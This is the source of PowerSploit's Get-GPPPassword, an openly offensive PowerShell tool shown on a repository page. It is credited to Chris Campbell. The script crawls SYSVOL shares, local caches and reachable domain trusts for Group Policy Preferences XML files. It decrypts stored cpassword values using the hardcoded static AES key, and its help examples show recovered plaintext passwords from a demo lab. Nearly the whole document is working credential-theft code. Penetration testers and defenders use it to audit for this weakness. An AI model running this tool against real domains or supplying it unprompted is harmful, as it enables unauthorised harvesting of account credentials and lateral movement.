Permalink
Make sure System.Core is loaded before creating an AES object. #247
function Get-GPPPassword { | |
<# | |
.SYNOPSIS | |
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. | |
PowerSploit Function: Get-GPPPassword | |
Author: Chris Campbell (@obscuresec) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. | |
.PARAMETER Server | |
Specify the domain controller to search for. | |
Default's to the users current domain | |
.PARAMETER SearchForest | |
Map all reaschable trusts and search all reachable SYSVOLs. | |
.EXAMPLE | |
Get-GPPPassword | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:28:53} | |
Passwords : {password12} | |
UserNames : {test1} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml | |
NewName : {mspresenters} | |
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} | |
Passwords : {Recycling*3ftw!, password123, password1234} | |
UserNames : {Administrator (built-in), DummyAccount, dummy2} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} | |
Passwords : {password, password1234$} | |
UserNames : {administrator, admin} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} | |
Passwords : {password, read123} | |
UserNames : {DEMO\Administrator, admin} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml | |
.EXAMPLE | |
Get-GPPPassword -Server EXAMPLE.COM | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:28:53} | |
Passwords : {password12} | |
UserNames : {test1} | |
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml | |
NewName : {mspresenters} | |
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} | |
Passwords : {Recycling*3ftw!, password123, password1234} | |
UserNames : {Administrator (built-in), DummyAccount, dummy2} | |
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml | |
.EXAMPLE | |
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq | |
password | |
password12 | |
password123 | |
password1234 | |
password1234$ | |
read123 | |
Recycling*3ftw! | |
.LINK | |
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html | |
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 | |
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences | |
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] | |
[CmdletBinding()] | |
Param ( | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Server = $Env:USERDNSDOMAIN, | |
[Switch] | |
$SearchForest | |
) | |
# define helper function that decodes and decrypts password | |
function Get-DecryptedCpassword { | |
[CmdletBinding()] | |
Param ( | |
[string] $Cpassword | |
) | |
try { | |
#Append appropriate padding based on string length | |
$Mod = ($Cpassword.length % 4) | |
switch ($Mod) { | |
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} | |
'2' {$Cpassword += ('=' * (4 - $Mod))} | |
'3' {$Cpassword += ('=' * (4 - $Mod))} | |
} | |
$Base64Decoded = [Convert]::FromBase64String($Cpassword) | |
# Make sure System.Core is loaded | |
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null | |
#Create a new AES .NET Crypto Object | |
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider | |
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, | |
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) | |
#Set IV to all nulls to prevent dynamic generation of IV value | |
$AesIV = New-Object Byte[]($AesObject.IV.Length) | |
$AesObject.IV = $AesIV | |
$AesObject.Key = $AesKey | |
$DecryptorObject = $AesObject.CreateDecryptor() | |
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) | |
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) | |
} | |
catch { Write-Error $Error[0] } | |
} | |
# helper function to parse fields from xml files | |
function Get-GPPInnerField { | |
[CmdletBinding()] | |
Param ( | |
$File | |
) | |
try { | |
$Filename = Split-Path $File -Leaf | |
[xml] $Xml = Get-Content ($File) | |
# check for the cpassword field | |
if ($Xml.innerxml -match 'cpassword') { | |
$Xml.GetElementsByTagName('Properties') | ForEach-Object { | |
if ($_.cpassword) { | |
$Cpassword = $_.cpassword | |
if ($Cpassword -and ($Cpassword -ne '')) { | |
$DecryptedPassword = Get-DecryptedCpassword $Cpassword | |
$Password = $DecryptedPassword | |
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'" | |
} | |
if ($_.newName) { | |
$NewName = $_.newName | |
} | |
if ($_.userName) { | |
$UserName = $_.userName | |
} | |
elseif ($_.accountName) { | |
$UserName = $_.accountName | |
} | |
elseif ($_.runAs) { | |
$UserName = $_.runAs | |
} | |
try { | |
$Changed = $_.ParentNode.changed | |
} | |
catch { | |
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'" | |
} | |
try { | |
$NodeName = $_.ParentNode.ParentNode.LocalName | |
} | |
catch { | |
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'" | |
} | |
if (!($Password)) {$Password = '[BLANK]'} | |
if (!($UserName)) {$UserName = '[BLANK]'} | |
if (!($Changed)) {$Changed = '[BLANK]'} | |
if (!($NewName)) {$NewName = '[BLANK]'} | |
$GPPPassword = New-Object PSObject | |
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName | |
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName | |
$GPPPassword | Add-Member Noteproperty 'Password' $Password | |
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed | |
$GPPPassword | Add-Member Noteproperty 'File' $File | |
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName | |
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword | |
$GPPPassword | |
} | |
} | |
} | |
} | |
catch { | |
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_" | |
} | |
} | |
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain | |
function Get-DomainTrust { | |
[CmdletBinding()] | |
Param ( | |
$Domain | |
) | |
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) { | |
try { | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
if ($DomainObject) { | |
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName | |
} | |
} | |
catch { | |
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_" | |
} | |
try { | |
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain) | |
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) | |
if ($ForestObject) { | |
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName | |
} | |
} | |
catch { | |
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_" | |
} | |
} | |
} | |
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain | |
function Get-DomainTrustMapping { | |
[CmdletBinding()] | |
Param () | |
# keep track of domains seen so we don't hit infinite recursion | |
$SeenDomains = @{} | |
# our domain stack tracker | |
$Domains = New-Object System.Collections.Stack | |
try { | |
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name | |
$CurrentDomain | |
} | |
catch { | |
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_" | |
} | |
if ($CurrentDomain -and $CurrentDomain -ne '') { | |
$Domains.Push($CurrentDomain) | |
while($Domains.Count -ne 0) { | |
$Domain = $Domains.Pop() | |
# if we haven't seen this domain before | |
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { | |
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" | |
# mark it as seen in our list | |
$Null = $SeenDomains.Add($Domain, '') | |
try { | |
# get all the domain/forest trusts for this domain | |
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object { | |
# only output if we haven't already seen this domain and if it's pingable | |
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) { | |
$Null = $Domains.Push($_) | |
$_ | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[Get-DomainTrustMapping] Error: $_" | |
} | |
} | |
} | |
} | |
} | |
try { | |
$XMLFiles = @() | |
$Domains = @() | |
$AllUsers = $Env:ALLUSERSPROFILE | |
if (-not $AllUsers) { | |
$AllUsers = 'C:\ProgramData' | |
} | |
# discover any locally cached GPP .xml files | |
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' | |
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue | |
if ($SearchForest) { | |
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' | |
$Domains += Get-DomainTrustMapping | |
} | |
else { | |
if ($Server) { | |
$Domains += , $Server | |
} | |
else { | |
# in case we're in a SYSTEM context | |
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name | |
} | |
} | |
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique | |
ForEach ($Domain in $Domains) { | |
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory | |
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while." | |
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') | |
if($DomainXMLFiles) { | |
$XMLFiles += $DomainXMLFiles | |
} | |
} | |
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' } | |
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." | |
ForEach ($File in $XMLFiles) { | |
$Result = (Get-GppInnerField $File.Fullname) | |
$Result | |
} | |
} | |
catch { Write-Error $Error[0] } | |
} |